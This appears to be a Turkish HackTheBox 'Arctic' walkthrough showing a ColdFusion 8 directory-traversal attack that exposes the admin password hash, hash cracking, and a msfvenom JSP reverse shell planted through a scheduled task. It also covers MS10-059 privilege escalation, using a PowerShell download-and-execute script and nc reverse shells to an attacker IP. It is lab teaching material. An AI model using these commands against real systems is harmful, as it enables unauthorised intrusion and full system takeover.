Arctic sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.
- IP Adresi: 10.10.10.11
- İşletim Sistemi: Windows
A) Port Tarama
Port taraması sonucunda 3 adet portun açık olduğu tespit edilmiştir.
nmap -sS -sC -sV -vv -p- -oA fulltcp –open 10.10.10.11
Açık portlar aşağıdaki gibidir:
- 135/tcp
- 8500/tcp
- 49154/tcp
Burada 8500/tcp portu üzerinde yukarıdaki ekran görüntüsünde de gördüğümüz üzere “fmtp” hizmeti bulunmaktadır. İlgili porta, web tarayıcısı üzerinden gittiğimizde ise, dizin listelemeye açık olduğunu tespit ediyoruz.
“/CFIDE/” dizini içerisinde “/administrator/” adlı bir dizin olduğu görülmektedir.
Söz konusu dizinler üzerinden tespit edilen Adobe ColdFusion 8 yönetim paneline web tarayıcısı üzerinden de erişilebilmektedir.
B) Zafiyeti Arama
İlgili yönetim paneline ait bulunan açıklıkların tespiti için Google’dan arama yapılabilir.
Çıkan sonuçlarda Exploit-DB bağlantısı bulunmaktadır.
https://www.exploit-db.com/exploits/14641
Zafiyet detayları için bir başka bağlantı bulunmaktadır.
http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
Yukarıda URL bilgisi verilen ilgili sayfanın detaylarını incelediğimiz saldırı aşamalarında; ColdFusion 8 üzerinde yöneticiye ait parola özeti değerinin “password.properties” dosyasında bulunduğu belirtilmektedir. Bu durumda bu zafiyeti kullanarak exploit detayında yer alan yöneticiye ait parola özetinin tespit edilebileceği URL’e gittiğimizde “Administrator” kullanıcısına ait parola özeti değerini ele geçirebiliriz.
C) Zafiyetin İstismarı – I. Adım: Admin Hesabı ile Oturum Açma
Exploit-DB betiğinde de belirtilen dizine gidildiğinde “Administrator” kullanıcısına ait parola özeti değeri görülebilir.
http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.propertiesen
Not: Benzer olarak MSF coldfusion_locale_traversal yardımcı modülü de kullanılabilir.
use auxiliary/scanner/http/coldfusion_locale_traversal
set RHOSTS 10.10.10.11
run
Zafiyetin istismarı ile elde edilen parola özeti değerinin şifrelendiği algortimanın tespiti için hash-identifier aracı kullanılabilir.
Yönetim konsoluna erişmek için parolanın açık metin haline ihtiyaç vardır. Bu amaçla parola özeti çevrimiçi olarak kırılabilir.
https://crackstation.net/
SHA-1 özeti kırıldığında, parolanın “happyday” olduğu tespit edilmiştir. Sonuç olarak yönetim konsolunda “admin” kullanıcı adı ve “happyday” parolası ile oturum açılabilmiştir.
D) Zafiyetin İstismarı – II. Adım: Komut Satırı Erişimi Elde Etme
Zamanlanmış görevleri kullanarak sistem üzerinde komut satırı erişimi elde edebiliriz. Bunun için ilk olarak shellcode üretmemiz gerekiyor. Coldfusion için ise kullanabileceğimiz shellcode’u elde etmenin bir kaç yolu vardır:
- Kali işletim sistemi üzerinde hazır bulunan shellcodu kullanmak
- /usr/share/webshells/cfm/cfexec.cfm
- Coldfusion “.jsp” uzantılı dosyaları çalıştırmayı desteklediğinden dolayı msfvenom’u kullanarak .jsp uzantılı bir shellcode oluşturmak
- msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.17 LPORT=5555 -f raw > asd.jsp
- İnternet üzerindeki bir CFM web shellcode dosyasını kullanmak
- http://grutz.jingojango.net/exploits/cfexec.cfm
- https://raw.githubusercontent.com/Pashkela/Cfm_Shell_v3.0_edition/master/shell.cfm
Shellcode’umuzu “Server Settings > Mappings” panelinin içerisine kaydedebiliriz.
Biz Shellcode oluşturmak için bu yazıda, ikinci yolu tercih ediyoruz. Yukarıda belirtildiği şekilde msfvenom ile Shellcode’umuzu üretiyoruz.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.17 LPORT=5555 -f raw > asd.jsp
Oluşturulan Shellcode belirli bir zaman diliminde çalışacak şekilde zamanlanacaktır. Bunun öncesinde ters bağlantıyı sağlayacak olan Shellcode’un Kali üzerinden indirilmesi gerekir. Bu amaçla Kali üzerinde bir web servis başlatılır.
python -m SimpleHTTPServer
Shellcode indirilip çalıştığında da ters bağlantı oluşacaktır. Bu bağlantıyı yakalayacak bir dinleyici başlatılır.
nc -lvp 5555
Hazırlıklar tamamlandıktan sonra zamanlanmış görev oluşturulabilir.
- URL: http://10.10.14.17/rev-shell.jsp
- File: C:\ColdFusion8\wwwroot\CFIDE\rev-shell.jsp
Bir süre sonra (belirlenen zaman geldiğinde), Kali üzerindeki Shellcode dosyası “Save output to a file” ile belirtilen dizine (C:\Inetpub\wwwroot\CFIDE\) yüklenir.
Not: Belirtilen dizin yerine, zamanlanmış görevler sayfasında “Run” ikonuna basılarak da komut görev başlatılabilir.
Sayfa çağırıldığında komut çalıştırılabilinen bir ekran elde edilmiştir.
http://10.10.10.11:8500/CFIDE/rev-shell.jsp
nc -lvp 5555
“user.txt” dosyasının tespiti için, C:\ diskindeki dizinlerde “find” aracı kullanılabilir.
dir C:\ /s/b | find /i “user.txt”
E) Yetki Yükseltme
İşletim sistemi ile ilgili detayların tespiti için “systeminfo” aracı kullanılabilir.
Söz konusu çıktıyı incelediğimizde işletim sisteminin “Windows Server 2008 R2” , sistem tipinin “x64” olduğunu ve ilgili işletim sisteminde herhangi bir yamanın geçilmediği (Hotfix(s)) gözlemlenmektedir. Tüm bu veriler göz önüne alarak öncelikli olarak hedef sistem üzerinde yama eksikliklerinden kaynaklanan güvenlik açıklıklarını tespit edeceğiz. Bunun için aşağıda link olarak detayını verdiğimiz “Windows-Exploit-Suggester” aracını kullanacağız.
İlgili aracı henüz indirmediyseniz işletim sistemine aşağıdaki şekilde indirebilirsiniz:
git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
Aracı daha önce indirdiyseniz ve yama listesini güncellemek istiyorsanız aşağıdaki komutu çalıştırmanız yeterli olacaktır:
./windows-exploit-suggester.py –update
Söz konusu araç ile hedef sistem üzerindeki yama eksikliklerinden kaynaklı taramayı gerçekleştirebilmemiz için bizden iki parametre istenmektedir. Bunlar;
- database: Güncel yama listesi.
- systeminfo: Hedef sisteme ait systeminfo çıktısı.
İlgili parametreleri sağlayarak aşağıda detaylarını verdiğimiz şekilde taramamızı gerçekleştiriyoruz.
python windows-exploit-suggester.py –database 2019-06-22-mssb.xls –systeminfo systeminfo.txt
Yukarıdaki ekran görüntüsünde görüldüğü üzere söz konusu hedef sistem üzerinde yama eksikliğinden kaynaklanan birden fazla güvenlik açıklığı bulunmaktadır. Bu açıklıklardan biri olan “MS10-059” açıklığını istismar ederek sistem üzerinde “NT Authority\SYSTEM” haklarını elde edeceğiz.
Söz konusu güvenlik açıklığını “Exploit-DB” üzerinden incelediğimizde bir diğer adı olan “Chimicchuri” exploiti önerilmektedir.
https://www.exploit-db.com/exploits/14610
İstismar kodu Github üzerinde bulunmaktadır.
İlgili istismar kodunu aşağıdaki şekilde kendi Kali makinemize indiriyoruz:
git clone https://github.com/Re4son/Chimichurri.git
Ardından öncelikli olarak python ile HTTP sunucumuzu başlatıyoruz ve Powershell kullanarak hedef makineye exe dosyamızı yüklüyoruz.
python -m SimpleHTTPServer 9090
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = “http://10.10.14.17:9090/Chimichurri.exe” >>wget.ps1
echo $file = “ms10-059-exploit.exe” >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
“ms10-059-exploit.exe” adında hedef sisteme yüklediğimiz exploitimizde bizden iki parametre istenmektedir. Bunlar ise kendi sistemimize ait olan IP adresi ve ters bağlantı (reverse shell) almak istediğimiz herhangi bir port. Söz konusu adımları aşağıdaki şekilde gerçekleştiriyoruz.
İlk olarak dinleyicimizi başlatıyoruz:
nc -lvp 3333
Ardından ilgili parametreleri vererek exploitimizi çalıştırıyoruz:
ms10-059-exploit.exe 10.10.14.17 3333
“root.txt” dosyası Administrator kullanıcısının ev dizininde bulunmaktadır.
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- HackTheBox Bastard (MS10-059)
Kaynaklar:
https://pentestworld.blogspot.com/2019/06/hack-box-arctic.html
Kerentanan Adobe ColdFusion
https://jumpespjump.blogspot.com.tr/2014/03/attacking-adobe-coldfusion.html